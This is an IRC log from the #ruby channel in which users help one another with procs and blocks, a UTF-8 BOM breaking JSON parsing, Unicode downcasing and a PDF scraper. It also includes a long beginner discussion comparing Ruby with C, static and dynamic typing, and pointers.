<zipper> Could someone explain to me what "sysntax literals" means in the following context: "Ruby blocks are syntax literals for Proc objects."
<weeb1e> If anyone knows what could be the issue with the JSON parser and that UTF-8 header, please let me know
<fbernier> MrZYX: I see no solution in this doc. Should I take this as a "it's impossible" ?
pwh has quit []
dEPy has joined #ruby
kaspergrubbe has quit [Ping timeout: 240 seconds]
<MrZYX> oh, hm, I kinda thought the second parameter was doing that
maletor has joined #ruby
jarm has quit [Max SendQ exceeded]
<zipper> havenwood: let me have a look
burlyscudd has joined #ruby
<MrZYX> fbernier: methods(false).include? then
jarm has joined #ruby
<zipper> So the syntax before literal adds no value?
robbyoconnor has quit [Read error: Operation timed out]
relix has joined #ruby
pen has joined #ruby
snath has quit [Ping timeout: 240 seconds]
<MrZYX> weeb1e: looks like the JSON parser has troubles with the BOM, I'd try stripping it
randomnick_ has joined #ruby
c0rn has joined #ruby
stkowski has joined #ruby
<zipper> havenwood: I get it Proc.new == creating a new block
<zipper> Thanks
<MrZYX> >> require 'json'; JSON.parse "\xef\xbb\xbf{\"foo\": \"bar\"}".gsub("\xef\xbb\xbf", '')
<eval-in> MrZYX => (https://eval.in/58895)
<MrZYX> mkay, I take it, eval-in dislikes the json parser
theoretick has joined #ruby
coderhs has quit [Quit: Leaving]
kofno has quit [Ping timeout: 272 seconds]
bline79 has quit [Remote host closed the connection]
maveonair has quit [Ping timeout: 240 seconds]
elikom has joined #ruby
jhaals has joined #ruby
elaptics is now known as elaptics`away
Aryasam has quit [Ping timeout: 240 seconds]
Azulinho has quit [Quit: WeeChat 0.4.1]
heftig has joined #ruby
bline79 has joined #ruby
<fbernier> MrZYX: Makes sense, thanks
divi has joined #ruby
Aryasam has joined #ruby
Astral_ has quit [Read error: Connection reset by peer]
<MrZYX> zipper: hmm, both procs and blocks are closures and can be converted into each other, I still wouldn't call them equivalent though
Astral_ has joined #ruby
jkhwan has quit [Remote host closed the connection]
jkhwan has joined #ruby
pen has quit [Ping timeout: 264 seconds]
tonni has quit [Remote host closed the connection]
<weeb1e> MrZYX: My best guess is that a recent .Net runtime update caused those bytes to be added to the third party applications output
DrShoggoth has quit [Remote host closed the connection]
benwoody has joined #ruby
yfeldblum has quit [Remote host closed the connection]
<MrZYX> if you take a look at http://www.ruby-doc.org/core-2.0.0/doc/syntax/literals_rdoc.html#label-Procs the literal for a proc is -> { ... } or proc { ... }
newUser1_ has quit [Quit: Leaving...]
<MrZYX> weeb1e: sounds reasonable
<havenwood> ->{} stabby lambdas ftw
<MrZYX> zipper: therefore Proc.new is a method call that takes a block, converts it into a proc and returns that new proc. That doesn't make the block equal to the proc, like 1 and 1.0 are two different things (integer versus float) representing the same value
relix has quit [Quit: Textual IRC Client: www.textualapp.com]
maveonair has joined #ruby
jkhwan has quit [Ping timeout: 272 seconds]
pwh has joined #ruby
jhaals has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
tjad has joined #ruby
jrhe has quit [Quit: jrhe]
heidi has joined #ruby
nfk has quit [Quit: yawn]
cody-- has quit [Quit: derp]
relix has joined #ruby
<Hanmac> havenwood: stabby lambdas always looks like a dagger from behind inside the back .. "->{}"
rdnsget has joined #ruby
rdnsget has left #ruby [#ruby]
jrhe has joined #ruby
drumusician has joined #ruby
timonv has joined #ruby
mark_locklear has quit [Quit: Leaving]
flops has joined #ruby
pkrnj has joined #ruby
mmitchell has joined #ruby
Davey has quit [Quit: Computer has gone to sleep.]
Azulinho has joined #ruby
jhaals has joined #ruby
IceDragon has quit [Ping timeout: 272 seconds]
relix has quit [Client Quit]
<dr_bob> "Is this a dagger which I see before me,"
pixelgremlins has quit [Ping timeout: 248 seconds]
mgorbach has quit [Read error: Connection reset by peer]
<zipper> dr_bob: what?
zipper has quit [Quit: leaving]
<dr_bob> Macbeth
elikom has quit [Remote host closed the connection]
jrhorn424 is now known as zz_jrhorn424
<apeiros> "syntax literals" - funny. learned a new pleonasm today :D
sadleb has joined #ruby
jbpros has joined #ruby
pr0ggie has quit [Ping timeout: 246 seconds]
pdimitrov has quit [Ping timeout: 245 seconds]
reset has quit [Ping timeout: 272 seconds]
relix has joined #ruby
hiyosi has joined #ruby
shaunbaker has joined #ruby
shaunbaker has quit [Remote host closed the connection]
tatsuya_o has joined #ruby
shaunbaker has joined #ruby
mgorbach has joined #ruby
ldnunes has quit [Quit: Leaving]
Trudko has joined #ruby
Kamuela has quit [Ping timeout: 272 seconds]
brtdv has joined #ruby
mgorbach has quit [Read error: Connection reset by peer]
reset has joined #ruby
<Trudko> hi guys I have string Žena and "Žena".downcase returns Žena instead of žena
reset has quit [Remote host closed the connection]
Guest76124 has joined #ruby
<Trudko> i found one solution and that is to use "Žena".mb_chars.downcase
anderson has quit [Quit: Leaving]
krawchyk has quit []
<Hanmac> hm mb_chars is a rails method
divi has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
anderson has joined #ruby
tjbarber has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
relix has quit [Quit: Textual IRC Client: www.textualapp.com]
pragmatism has quit [Remote host closed the connection]
pu22l3r_ has joined #ruby
hiyosi has quit [Ping timeout: 245 seconds]
whunt has joined #ruby
<Trudko> ou ok thanks
divi has joined #ruby
bklane has quit [Quit: Leaving...]
<Hanmac> Trudko: about that, imo it may be a bug ... i dont know how downcase or swapcase works but it seems they only works on ascii
bigoldrock has joined #ruby
mgorbach has joined #ruby
relix has joined #ruby
<Trudko> i see not sure really i will most likely use mb_chars, it seems safe
bean has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
pragmatism has joined #ruby
IceDragon has joined #ruby
lurch_ has joined #ruby
<lurch_> j #bash
pu22l3r has quit [Ping timeout: 268 seconds]
randomnick_ has quit [Read error: Connection reset by peer]
burlyscudd has quit [Quit: Leaving.]
monkegjinni has joined #ruby
pu22l3r_ has quit [Ping timeout: 268 seconds]
pothibo has quit [Quit: pothibo]
pr0ggie has joined #ruby
pdimitrov has joined #ruby
relix has quit [Quit: Textual IRC Client: www.textualapp.com]
boxmein has quit [Quit: [02:26.00] <Ristovski> mozzarella filofax fadget]
bean has joined #ruby
Mitchellvanw has joined #ruby
verto has joined #ruby
Astral_ has quit [Ping timeout: 245 seconds]
chriskk has joined #ruby
brtdv has quit []
alexw has joined #ruby
Aryasam has quit [Ping timeout: 248 seconds]
Aryasam has joined #ruby
nisstyre has quit [Quit: Leaving]
Volsus has quit [Remote host closed the connection]
Notte has quit [Remote host closed the connection]
Notte has joined #ruby
coca_rails has joined #ruby
TheMoonMaster has quit [Quit: Later!]
relix has joined #ruby
pu22l3r has joined #ruby
deception has quit [Quit: Goodbye]
TheMoonMaster has joined #ruby
tjbarber has joined #ruby
vpretzel has quit [Quit: Adios!]
funburn has joined #ruby
<coca_rails> Hey guys
Clooth has quit [Quit: Leaving...]
achru has joined #ruby
maveonair has quit [Quit: leaving]
<coca_rails> anyone interested in looking at my code to make some suggestions
julweber has joined #ruby
m8 has joined #ruby
<coca_rails> Vpretzel had a look at my code yesterday and suggested that i put parts of my code into methods
<coca_rails> Need a little help there.
smoothbutta has quit [Remote host closed the connection]
<MrZYX> just ask, don't ask to ask ;)
<coca_rails> :)
<coca_rails> Well, I really need someone to hop on Nitrous and take a look-see
<coca_rails> :/
Notte has quit [Ping timeout: 248 seconds]
<coca_rails> interested?
lmickh has joined #ruby
monkegjinni has quit [Remote host closed the connection]
pdimitrov has quit [Max SendQ exceeded]
pr0ggie has quit [Max SendQ exceeded]
Clooth has joined #ruby
jkhwan has joined #ruby
choobie has left #ruby [#ruby]
pr0ggie has joined #ruby
pdimitrov has joined #ruby
valesk has joined #ruby
chriskk has quit [Quit: chriskk]
julweber has quit [Ping timeout: 264 seconds]
<coca_rails> reader = PDF::Reader.new(io)
<coca_rails> puts reader.info
<coca_rails> reader.pages.each do |page|
<coca_rails> puts page.text
carlyle has quit [Remote host closed the connection]
<coca_rails> these are the required gems
<coca_rails> require 'open-uri'
<coca_rails> require 'curb'
<coca_rails> require 'pdf-reader'
carlyle has joined #ruby
<MrZYX> use a paste service for everything > 3 lines, see topic
<coca_rails> sorry, im new to irc
<coca_rails> gotcha
monkegji_ has joined #ruby
Valesk_ has joined #ruby
tvw has joined #ruby
shaunbaker has quit []
<MrZYX> so what's your issue with that code?
<coca_rails> I'm a newbie so forgive me.
<coca_rails> Theres no issue per se, but I was told I could separate the code into functions
jamblack has quit [Quit: jamblack]
<coca_rails> For better performancec
aantix has quit [Quit: aantix]
valesk has quit [Ping timeout: 246 seconds]
<Radar> coca_rails: would need to see more context than that
navyant24 has joined #ruby
<MrZYX> for that few lines I wouldn't
<Radar> for a one-off script, it seems fine to me
yfeldblum has joined #ruby
<nemish_> can someone help me understand this error http://pastebin.com/L62x3EaN
osvico has joined #ruby
<Radar> nemish_: Not if you don't show us your Gemfil
<nemish_> hello
<Radar> Gemfile*
nemish_ has left #ruby [#ruby]
<Radar> nemish_: Please use Gist instead to post code.
nemish_ has joined #ruby
<nemish_> hello
<Radar> nemish_: hello
iamjarvo has joined #ruby
<nemish_> can somoene help me understand this error http://pastebin.com/L62x3EaN
<MrZYX> nemish_: for one part, you use rails as root
<Radar> nemish_: Yes.
<Radar> nemish_: Please use Gist instead to post code.
<Hanmac> nemish_: #rubyonrails
<nemish_> MrZYX: yeah I have it set in /etc/sysconfig/foreman to use foreman user
Tuxist has quit [Read error: Connection reset by peer]
pu22l3r_ has joined #ruby
<MrZYX> don't run stuff as root unless you need to
endash_ has quit [Quit: endash_]
cody-- has joined #ruby
<coca_rails> Radar: When you say more context what do you mean (sorry for the newbie questions)
Macaveli has joined #ruby
<Methylated> How would I go about profiling an app running on mod_ruby? Is it possible to do so externally, or to have the profiler not overwrite results on every request (aggregate)
<nemish_> ok i'll post to ROR channel https://gist.github.com/cdenneen/7239954
<Radar> coca_rails: Would need to see where that code was used. If it was just that script, then it would be fine.
pu22l3r_ has quit [Read error: Connection reset by peer]
<Radar> nemish_: No Gemfile :(((((
pu22l3r_ has joined #ruby
<coca_rails> Radar: That's part of the program. The next step is once the PDF is rendered, i need to scrape it for certain strings
<coca_rails> Radar: That one ^ is a file called test_scraper
<coca_rails> .rb
<Radar> Really it all depends on the greater context. It's a judgement call that only the people who write the code can make
<Radar> coca_rails: Then yes, splitting it up into different methods could be beneficial.
pu22l3r has quit [Ping timeout: 268 seconds]
<apeiros> oy, Radar is cheating on #rubyonrails! :D
<apeiros> hi there
phantasm66 has quit [Quit: *sleeeep….]
divi has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<coca_rails> Radar: Heres test_scraper: https://gist.github.com/anonymous/46bf243c7cc37e2e20a8
<Radar> apeiros: pretty much
<Radar> coca_rails: If that's all the code there is there I don't see any need to make it into individual methods
<coca_rails> So keeping them as individual rb files is better?
divi has joined #ruby
jkhwan_ has joined #ruby
nwertman_ has joined #ruby
<Radar> coca_rails: Again: depends.
<Radar> These are really subjective questions :\
Czupa has joined #ruby
<coca_rails> ok
Guest76124 has quit [Quit: Leaving...]
drumusician has quit [Read error: Connection reset by peer]
<coca_rails> Here's a better question: Can you tell me why this (https://gist.github.com/anonymous/9caeaf744a11ff623202) does not output anything?
nwertman has quit [Quit: leaving]
drumusician has joined #ruby
<jkamenik> is it that it doesn't output or it ouputs blank lines?
julweber has joined #ruby
alexw has left #ruby ["Textual IRC Client: www.textualapp.com"]
<jkamenik> you can try `p` instead of `puts`
achru has quit []
jkhwan has quit [Ping timeout: 272 seconds]
pu22l3r_ has quit [Remote host closed the connection]
Macaveli has quit [Ping timeout: 264 seconds]
kaspergrubbe has joined #ruby
pu22l3r has joined #ruby
sbos99 has quit [Ping timeout: 272 seconds]
aapzak has quit [Ping timeout: 268 seconds]
pkrnj has quit [Quit: Computer has gone to sleep.]
aapzak has joined #ruby
Macaveli has joined #ruby
brtdv has joined #ruby
nomenkun has quit [Remote host closed the connection]
jhaals has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mrsolo has quit [Quit: This computer has gone to sleep]
Trudko has quit [Read error: Connection reset by peer]
ukd1 has joined #ruby
julweber has quit [Ping timeout: 246 seconds]
<coca_rails> no output. nothing returned
carlyle has quit [Remote host closed the connection]
pu22l3r has quit [Ping timeout: 268 seconds]
carlyle has joined #ruby
yfeldblum has quit [Remote host closed the connection]
Valesk_ has quit [Ping timeout: 272 seconds]
<coca_rails> Another question for everyone - I just bought a mac yesterday and im trying to figure out, in Messages app, how to stop making a sound when i send a message. i only want a sound for incoming messages
Macaveli has quit [Remote host closed the connection]
capicue has quit [Quit: Leaving...]
weems has quit [Read error: Connection reset by peer]
<coca_rails> its annoying..its like great. I know i sent a message. I dont need an audio notification lol
lsmola_ has quit [Ping timeout: 240 seconds]
timonv has quit [Remote host closed the connection]
valesk has joined #ruby
ocfx has joined #ruby
kvirani_ has joined #ruby
pedda has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
c0rn has quit [Read error: Operation timed out]
carlyle has quit [Ping timeout: 245 seconds]
zz_michael_mbp is now known as michael_mbp
jonr22 has joined #ruby
kaldrenon has quit [Remote host closed the connection]
OdNairy has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
kaldrenon has joined #ruby
mixel has joined #ruby
c0rn has joined #ruby
predator117 has quit [Ping timeout: 245 seconds]
jamblack has joined #ruby
kvirani has quit [Ping timeout: 272 seconds]
predator117 has joined #ruby
Soda has joined #ruby
theRoUS has quit [Ping timeout: 240 seconds]
dsferreira has joined #ruby
dddtest_549a0 has quit [Read error: Connection reset by peer]
myth17 has joined #ruby
myth17 has quit [Changing host]
myth17 has joined #ruby
jonr22 has quit [Ping timeout: 245 seconds]
justsee has joined #ruby
zz_jrhorn424 is now known as jrhorn424
kaldrenon has quit [Ping timeout: 245 seconds]
michael_mbp is now known as zz_michael_mbp
simoz has joined #ruby
failshell has quit []
shanlar- has quit [Quit: Be back later]
mikepack_ has joined #ruby
jamblack has quit [Client Quit]
mrsolo has joined #ruby
ebetancourt has joined #ruby
Shidash has quit [Ping timeout: 246 seconds]
ukd1_ has joined #ruby
Mattx has quit [Ping timeout: 245 seconds]
ukd1_ has quit [Remote host closed the connection]
hiyosi has joined #ruby
mengu has quit [Quit: This computer has gone to sleep]
mikepack has quit [Ping timeout: 264 seconds]
TheMoonMaster has quit [Excess Flood]
Mattx has joined #ruby
Mattx has joined #ruby
Mattx has quit [Changing host]
nisstyre has joined #ruby
valesk has quit [Ping timeout: 240 seconds]
mrsolo has quit [Read error: Connection reset by peer]
mikepack_ has quit [Remote host closed the connection]
mrsolo has joined #ruby
TheMoonMaster_ has joined #ruby
mikepack has joined #ruby
Aryasam has quit [Ping timeout: 240 seconds]
monkegji_ has quit [Remote host closed the connection]
ukd1 has quit [Ping timeout: 240 seconds]
monkegjinni has joined #ruby
freezey has quit [Read error: No route to host]
hiyosi has quit [Read error: Operation timed out]
Aryasam has joined #ruby
freezey has joined #ruby
Zeeraw has joined #ruby
OdNairy has joined #ruby
mikepack has quit [Remote host closed the connection]
OdNairy has quit [Client Quit]
danshultz has quit [Remote host closed the connection]
myth17 has quit [Remote host closed the connection]
danshultz has joined #ruby
carlyle has joined #ruby
myth17 has joined #ruby
funburn has quit [Quit: funburn]
yalue has quit [Quit: Leaving]
gyre007 has quit [Read error: Operation timed out]
monkegjinni has quit [Ping timeout: 264 seconds]
theoretick has quit [Ping timeout: 256 seconds]
Mattx has quit [Ping timeout: 240 seconds]
mikepack has joined #ruby
<Mon_Ouie> If it never outputs even empty lines, then it must be stuck executing something. Does the call to pdf_scrape ever terminate?
nfk has joined #ruby
nfk has joined #ruby
nfk has quit [Changing host]
RichardBaker has quit [Ping timeout: 240 seconds]
Notte has joined #ruby
<jrhorn424> i have $10 to spend on ebay. what's the ruby book i need? already have pickaxe
Notte has quit [Remote host closed the connection]
weems has joined #ruby
<DanBoy> you finish pickaxe?
Notte has joined #ruby
danshultz has quit [Ping timeout: 248 seconds]
<coca_rails> Mon_Ouie: i dont know
<DanBoy> i dunno i forgot
Notte has quit [Remote host closed the connection]
<DanBoy> but i did it like
<DanBoy> some beginning ruby book
<havenwood> jrhorn424: maybe The Ruby Programming Language
<DanBoy> then pickaxe
Bry8Star{T2 has quit [Remote host closed the connection]
<DanBoy> then ruby cookbook front to back
Notte has joined #ruby
Notte has quit [Remote host closed the connection]
Notte_ has joined #ruby
<havenwood> jrhorn424: with the Sparrow on the cover
<DanBoy> apparently the ruby programming language i was told to read before pickaxe
v0n|w is now known as v0n
Notte_ has quit [Remote host closed the connection]
<DanBoy> but that was after i already read it
vlad_starkov has joined #ruby
<DanBoy> so :P
c0rn has quit [Quit: Computer has gone to sleep.]
Methylated has quit [Quit: Leaving.]
<DanBoy> pickaxe does a top down approach
RichardBaker has joined #ruby
<DanBoy> you'll be going over OOP stuff and duck typing philosophy if i remember right
vlad_sta_ has quit [Ping timeout: 246 seconds]
<DanBoy> then the ruby classes
<DanBoy> stdlib
adambeynon has joined #ruby
vlad_sta_ has joined #ruby
Bry8Star{T2 has joined #ruby
monkegjinni has joined #ruby
Davey has joined #ruby
navyant24 has quit [Quit: navyant24]
jkamenik has quit [Quit: Leaving.]
yfeldblum has joined #ruby
<jrhorn424> DanBoy: haven't finished pickaxe yet. it's a dense read.
<jrhorn424> havenwood: that's what i was thinking. a recipe book might not be bad either.
brtdv has quit []
xk_id has joined #ruby
<DanBoy> ya its about 500 pages i think
<DanBoy> thats average
vlad_starkov has quit [Ping timeout: 248 seconds]
<DanBoy> well
<DanBoy> for recipes you got
<DanBoy> ruby cook book
<DanBoy> and the ruby way which is cook book style
<DanBoy> both are old though
<DanBoy> 2006 i believe
<DanBoy> using ruby 1.8
theoretick has joined #ruby
<DanBoy> so some things have changed but ruby cook book was a good read
jarm has quit [Remote host closed the connection]
<jrhorn424> DanBoy and havenwood thanks for the suggestions. browsing ToCs now.
kofno has joined #ruby
ace_striker has quit [Ping timeout: 250 seconds]
xk_id has quit [Ping timeout: 264 seconds]
burlyscudd has joined #ruby
Cope has left #ruby [#ruby]
flower-pot has quit [Quit: leaving]
nonamehero has quit [Ping timeout: 245 seconds]
mlpinit has quit [Remote host closed the connection]
Czupa has quit [Read error: Connection reset by peer]
bdscvr has joined #ruby
<coca_rails> What do you guys think of the book Learn to program by Chris Pine?
stringoO has quit [Quit: stringoO]
shadoi has quit [Ping timeout: 245 seconds]
iamjarvo has quit [Remote host closed the connection]
<havenwood> coca_rails: I've heard it is great for new programmers, nice way to start Ruby, but I haven't read it.
iamjarvo has joined #ruby
<bdscvr> hi guys I'm in trouble I have ruby 2.0 via rbenv but when I hit ruby -v it returns with 1.9.3
SHyx0rmZ has joined #ruby
shadoi has joined #ruby
<bdscvr> I have both rbenv init and path in .zshrc
<bdscvr> but system ruby overrides rbnev ruby
<DanBoy> coca_rails, is ruby your first language?
<coca_rails> Yea. Its my first language. I'm a virgin
asobrasil has quit [Read error: Operation timed out]
<coca_rails> I'm fine with everything up until methods
<DanBoy> honestly if you had the time i'd start with C but don't do it
c0rn has joined #ruby
ebetancourt has quit [Read error: Operation timed out]
<coca_rails> I hear so many different things. i hear C or C++, Java, some people say PHP
<MrZYX> why start with C? how does C teach the concepts of programming better than any language and ruby in particular?
<bdscvr> anyone here guys?
interactionjaxsn has quit [Remote host closed the connection]
iamjarvo_ has joined #ruby
<coca_rails> MrZYX: I've heard that starting with a low-level language like that makes things more clearer. I dont know though.
ravster has quit [Quit: Leaving.]
interactionjaxsn has joined #ruby
<MrZYX> coca_rails: ruby is fine first language, in the end it doesn't matter which you pick, so just stay with what you have
<DanBoy> because C will build a better foundation
iamjarvo has quit [Read error: Connection reset by peer]
<DanBoy> understanding pointers
<coca_rails> MrZYX: Whenever i look at complicated syntax it drives me nuts. I'm sure its just a matter of practice and stuff.
dma_ has quit [Remote host closed the connection]
<DanBoy> memory management
joonty has quit [Quit: WeeChat 0.3.8]
workmad3 has joined #ruby
<MrZYX> but that are aspects of how a computer works / how C works
<MrZYX> not how programming works
<DanBoy> very true
raphaelivan has quit [Quit: Leaving.]
<coca_rails> MrZYX: Well, for certain I dont want to jump around. Im definitely comfortable with Ruby.
jonr22 has joined #ruby
<coca_rails> I do wonder if learning a language like C will make me a better programmer and make learning Ruby and other languages significantly easier and better.
<MrZYX> it won't
<coca_rails> I dont know though..i'm new to programming altogether
<DanBoy> for me it did
<bdscvr> I wish there were a rbenv channel here on freenode but, anyway. Let's go RVM
<DanBoy> i did C and UNIX API for like 10 years
<DanBoy> kernel stuff
<DanBoy> then i went to learn perl and i shit myself
<MrZYX> C teaches you how to write more efficient programs. But you need to write them in C then
sepp2k1 has joined #ruby
sepp2k has quit [Ping timeout: 240 seconds]
<DanBoy> because its a high level language
jonr22 has quit [Remote host closed the connection]
<coca_rails> lol
xk_id has joined #ruby
m8 has quit [Quit: Sto andando via]
jonr22 has joined #ruby
<Mon_Ouie> Well, having learned a programming language will make learning another language easier — but it will take more time to learn C then Ruby rather than just Ruby
<coca_rails> Why are java developers in such high demand
<MrZYX> because there's so much java code already
<DanBoy> MrZYX, is right, programming concepts can continue to any language really
interactionjaxsn has quit [Ping timeout: 240 seconds]
bdscvr has left #ruby [#ruby]
<MrZYX> for the same reason fortran programmers are still in demand. or cobol programmers
xk_id has quit [Max SendQ exceeded]
<coca_rails> Yea, i understand that.
<DanBoy> my main point was C would get you understanding a lot more
Volsus has joined #ruby
<Mon_Ouie> I think it's mostly a vicious circle — also possibly related to non-programmers making decisions about what programming language to use and such
<DanBoy> those are for legacy apps
<DanBoy> fortan and what not
<coca_rails> yea. i was in that circle for too long
xk_id has joined #ruby
<MrZYX> sure. A lot more, that just has nothing to do with programming in itself, which IMO is about abstraction and not about how a computer works
kvirani has joined #ruby
myth17 has quit [Remote host closed the connection]
xk_id has quit [Max SendQ exceeded]
samfisher has quit [Quit: exit error code 434]
kvirani_ has quit [Ping timeout: 272 seconds]
cody-- has quit [Quit: derp]
sailias has quit [Quit: Leaving.]
jonr22 has quit [Ping timeout: 256 seconds]
yfeldblum has quit [Remote host closed the connection]
<coca_rails> Do you feel like a Ruby developer with say 1 year of experience can learn another language such as Java without much headache
<MrZYX> in fact I think it's easier to learn a high level language first and then something low level like C, you can then focus on the specifics of a low level language, like memory management etc. without worrying about all the general programming concepts along the way
DonRichie has quit [Quit: Verlassend]
<coca_rails> I guess you answered my question :)
jkhwan has joined #ruby
pedda has joined #ruby
<DanBoy> i would think it'd be much harder to do that
<DanBoy> coming from ruby to C
nonamehero has joined #ruby
<DanBoy> theres so much more manual work to be done in C that a high level lang would never have to do
freerobby has quit [Quit: Leaving.]
<MrZYX> hm, I see about 3 types of languages, dynamically typed ones like ruby, statically typed like java or C and functional ones. Learning one of each type is a greater effort, then each subsequent ones becomes a lot easier. Learning your first languages is certainly harder than learning a second of different type though
iamjarvo_ has quit [Remote host closed the connection]
iamjarvo has joined #ruby
Banistergalaxy has quit [Ping timeout: 256 seconds]
<coca_rails> Can you tell me the difference between a dynamically typed and statically typed language in simple terms
<MrZYX> still each new language can show you new concepts you often can apply in your day to day language
<DanBoy> ya that i agree on
<DanBoy> and yes you can learn C coming from ruby, but my opinion is it may take some time
devoldmx has joined #ruby
<DanBoy> you can learn anything you want in the end though
Banistergalaxy has joined #ruby
chinychinchin has joined #ruby
<coca_rails> I like MrZYX approach. I'm that kind of learner.
mmitchel_ has joined #ruby
<DanBoy> im not saying go learn C
jkhwan_ has quit [Ping timeout: 272 seconds]
c0rn has quit [Quit: Computer has gone to sleep.]
divi has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<MrZYX> coca_rails: in a statically typed language, each variable has a declared type and can only have this type, same goes for method parameters
<coca_rails> I would need to start with a language that just gets my feet wet, and then one that requires more effort (for lack of better words)
<DanBoy> i started C when i was 14, i always liked UNIX internals
shanlar has joined #ruby
<DanBoy> coca_rails, so in C you want a variable you need to declare its type
<MrZYX> so in ruby you can do: foo = "string"; foo = 134;, for example in Java if you try String foo = "string"; foo = 123; the second assignment would fail because you can't assign an Integer to a String variable
<coca_rails> That makes sense now that I think about my time with Java
<DanBoy> unsigned long length;
<coca_rails> yea it was something like int num = 123
<MrZYX> yup
<DanBoy> also C is a compiled language
<coca_rails> You know, that does make more sense logically.
<coca_rails> Youre sort of forced to know the details of whats going on in your program.
<DanBoy> ya
iamjarvo has quit [Ping timeout: 248 seconds]
devoldmx3 has quit [Ping timeout: 245 seconds]
divi has joined #ruby
dEPy has quit [Quit: Lingo - http://www.lingoirc.com]
<MrZYX> well, it's a different philosophy
<coca_rails> Whereas with Ruby, it's smart. It assumes correctly.
<coca_rails> I guess for the most part.
mmitchell has quit [Ping timeout: 240 seconds]
<DanBoy> in ruby you can array << whatever all day
xk_id has joined #ruby
pkrnj has joined #ruby
<coca_rails> Yea.
<DanBoy> in a C app you would have to make sure that array never overflows
<Mon_Ouie> Well, it's actually implemented differently: it's done in a way that it doesn't need to assume anything
sambao21 has quit [Quit: Computer has gone to sleep.]
capicue has joined #ruby
<coca_rails> What I really like about ruby is being able to call a method right there on the object.
Volsus has quit [Quit: Leaving]
jlast has quit [Remote host closed the connection]
<coca_rails> like "boon".reverse
mmitchel_ has quit [Ping timeout: 248 seconds]
pwh has quit [Ping timeout: 248 seconds]
jlast has joined #ruby
<Mon_Ouie> The bad consequence is that it can't assume anything. Static typing can prevent you from trying to do meaningless operations such as adding a string and an integer (in ruby that error will only be caught at runtime)
ldnunes has joined #ruby
monkegjinni has quit [Remote host closed the connection]
pedda has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<DanBoy> coca_rails, ya boon.reverse
<coca_rails> lol
<DanBoy> in C you're gunna loop through the char array and reverse it yourself
kofno has quit [Ping timeout: 240 seconds]
pwh has joined #ruby
<coca_rails> So in C there's no such thing as a mixed-type array?
<DanBoy> thats why i said i shit myself when i came from years of nothing but C and i learned perl
zipper has joined #ruby
<coca_rails> ..an array consisting of different types of data
<DanBoy> well
<Mon_Ouie> In C it would be very unpractical to implement such an array
<DanBoy> you have the concept of pointers in C
jrhe has quit [Quit: jrhe]
g3orge has quit [Quit: leaving]
amacgregor__ has joined #ruby
bean has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<coca_rails> Can you give me a brief explanation of what a pointer is please
<Mon_Ouie> Not impossible, just trickier and more confusing to use
<DanBoy> is a variable that holds the memory address of another variable
jlast has quit [Read error: Operation timed out]
bugsinlights has quit [Quit: Got Milk?]
jonr22 has joined #ruby
RichardBaker has quit [Quit: RichardBaker]
<coca_rails> So in C does an array consist only of variables that hold memory addresses of other variables?
carlyle has quit []
<DanBoy> no
jrhe has joined #ruby
<MrZYX> hm, I've the feeling "another variable" is kinda the wrong term here, value would be more appropriate IMO
Underbyte has quit [Quit: Leaving...]
<coca_rails> Ok, so an array contains only pointers, right?
<DanBoy> well *ptr should be the value
nonamehero has quit [Ping timeout: 245 seconds]
<DanBoy> ptr itself should be the address
elux has joined #ruby
<coca_rails> And those pointers point to values of different types.
<coca_rails> Or am I wrong?
<MrZYX> in C an array is a pointer and the square brackets are just syntax sugar around *(array+sizeof(*array)*n) or whatever it was, but we're getting into details here :P
<DanBoy> technically its not a real pointer though
shadoi has quit [Ping timeout: 245 seconds]
<coca_rails> Yea, i love getting into details lol
<Mon_Ouie> An array is not a pointer in C, it gets converted to a pointer implicitly though
<DanBoy> you can make it point to another variable
reset has joined #ruby
<DanBoy> *can't
<MrZYX> hmkay, I'll go and blame my C teacher
<DanBoy> it acts like one for sure on a character buffer
<DanBoy> but since you can't make it point somewhere else its not a real pointer
<Mon_Ouie> int foo[3]; sizeof(foo) will be => 3 * sizeof(int)
<Mon_Ouie> But yes, if you try and do pointer arithmetic on it it will act as a pointer on the first element
<DanBoy> 4 * sizeof(int)
platypine has joined #ruby
<Mon_Ouie> Hm? That's an array of size 3 still
<DanBoy> counting from zero?
<DanBoy> maybe im wrong
<Mon_Ouie> It's type name[size]
<MrZYX> not in the declaration
<Mon_Ouie> But yes, the third element is foo[2]
codezomb has quit [Quit: Textual IRC Client: www.textualapp.com]
mansi_ has quit [Remote host closed the connection]
shadoi has joined #ruby
nisstyre has quit [Quit: Leaving]
<coca_rails> Yikes.
<DanBoy> coca_rails, see that array
mansi has joined #ruby
<DanBoy> if he did foo[sizeof(foo)] = 0;
<DanBoy> off by 1
<DanBoy> you have to take care
<DanBoy> scripting languages do all this for you
<apeiros> depends on the scripting language…
<apeiros> granted, last time I used VB it was still VB6 - but there you had to redim your arrays
<DanBoy> well ruby does :P
<astrobun_> modern arrays should be dynamic \o/
ravster has joined #ruby
awarner__ has quit [Remote host closed the connection]
flops has quit [Remote host closed the connection]
awarner has joined #ruby
divi has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
nonamehero has joined #ruby
awarner has quit [Read error: Connection reset by peer]
awarner has joined #ruby
<coca_rails> in ruby, how many arguments can you pass to a method?
mansi has quit [Ping timeout: 245 seconds]
havenwood has quit [Remote host closed the connection]
<DanBoy> use a splat *arg
<coca_rails> maybe im asking the wrong question
<Mon_Ouie> As many as you want (there's a limit due to how much memory you can use, but that's it)
<DanBoy> as many as you want
xk_id has quit [Ping timeout: 240 seconds]
kenneth has joined #ruby
<coca_rails> def play_with_boo (add_boo, times_boo, divide_boo) ?
elux has quit [Quit: Bye!]
<DanBoy> coca_rails, you actually are in a good spot to learn ruby first
zarubin has joined #ruby
<coca_rails> will that be acceptable
<Mon_Ouie> Sure, three is fine
<DanBoy> lots of people are like "WHERES THE DAMN BRACKETS"
mary5030 has quit [Ping timeout: 245 seconds]
<coca_rails> sweet.
jkline has quit [Quit: jkline]
<Mon_Ouie> For practical reasons, avoid having too many parameters, because it gets confusing to have many variables being passed around — but 3 should be alright
